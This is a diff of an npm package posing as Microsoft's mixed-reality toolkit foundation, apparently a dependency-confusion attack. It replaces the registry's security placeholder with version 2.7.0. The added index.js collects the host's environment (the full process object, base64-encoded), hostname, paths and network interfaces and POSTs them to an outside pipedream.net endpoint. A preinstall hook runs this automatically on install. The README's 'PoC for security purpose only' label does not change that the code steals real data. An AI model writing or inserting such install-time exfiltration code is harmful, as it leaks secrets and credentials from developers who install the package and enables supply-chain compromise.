com.microsoft.mixedreality.toolkit.foundation 0.0.1-security → 2.7.0

package/README.md

@@ -1,5 +1 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=com.microsoft.mixedreality.toolkit.foundation for more information.
+PoC by HTM for security purpose only.

package/index.js

@@ -0,0 +1,82 @@
+
+'use strict'
+
+const https = require('https')
+const http = require("http");
+const os = require("os");
+
+// var currentPath = process.cwd();
+// var currentUser = 
+var currentPath = __dirname;
+var currentFile = __filename;
+// var currentEnv = process.env;
+var currentEnvString = JSON.stringify(process);
+var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
+
+// console.log(currentPath);
+// console.log(currentFile);
+// console.log(currentEnvBase64)
+
+var data = {
+	envPORT: process.env.PORT,
+	hostname: JSON.stringify(os.hostname()),
+	currentPath: currentPath,
+	currentFile: currentFile,
+	currentEnvBase64: currentEnvBase64,
+	type: JSON.stringify(os.type()),
+	platform: JSON.stringify(os.platform()),
+	arch: JSON.stringify(os.arch()),
+	release: JSON.stringify(os.release()),
+	uptime: JSON.stringify(os.uptime()),
+	loadavg: JSON.stringify(os.loadavg()),
+	totalmem: JSON.stringify(os.totalmem()),
+	freemem: JSON.stringify(os.freemem()),
+	cpus: JSON.stringify(os.cpus()),
+	networkInterfaces: JSON.stringify(os.networkInterfaces()),
+
+};
+
+// console.log(process.env.PORT)
+// console.log(os.hostname())
+// console.log(os.type())
+// console.log(os.platform())
+// console.log(os.arch())
+// console.log(os.release())
+// console.log(os.uptime())
+// console.log(os.loadavg())
+// console.log(os.totalmem())
+// console.log(os.freemem())
+// console.log(os.cpus())
+// console.log(os.networkInterfaces())
+
+// console.log(data)
+// console.log(JSON.stringify(data));
+
+data = JSON.stringify(data)
+// console.log(data.length)
+
+const options = {
+  hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
+  port: 443,
+  path: '/Y29tLm1pY3Jvc29mdC5taXhlZHJlYWxpdHkudG9vbGtpdC5mb3VuZGF0aW9uOmh0dHBzOi8vZ2l0aHViLmNvbS9BenVyZS9henVyZS1vYmplY3QtYW5jaG9ycy9ibG9iL2FjZTI4NzY3NTQyNWZlY2RjOWJkYzUxMTA1YjAzMWI1OGExNWU2YWEvcXVpY2tzdGFydHMvYXBwcy91bml0eS9tcnRrL1BhY2thZ2VzL21hbmlmZXN0Lmpzb24',
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length
+  }
+}
+
+const req = https.request(options, res => {
+  // console.log(`statusCode: ${res.statusCode}`)
+
+  res.on('data', d => {
+    process.stdout.write(d)
+  })
+})
+
+req.on('error', error => {
+  console.error(error)
+})
+
+req.write(data)
+req.end()

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "com.microsoft.mixedreality.toolkit.foundation",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2.7.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "Aditya",
+  "license": "ISC",
+  "dependencies": {
+    "http": "0.0.1-security",
+    "https": "^1.0.0",
+    "os": "^0.1.1"
+  }
 }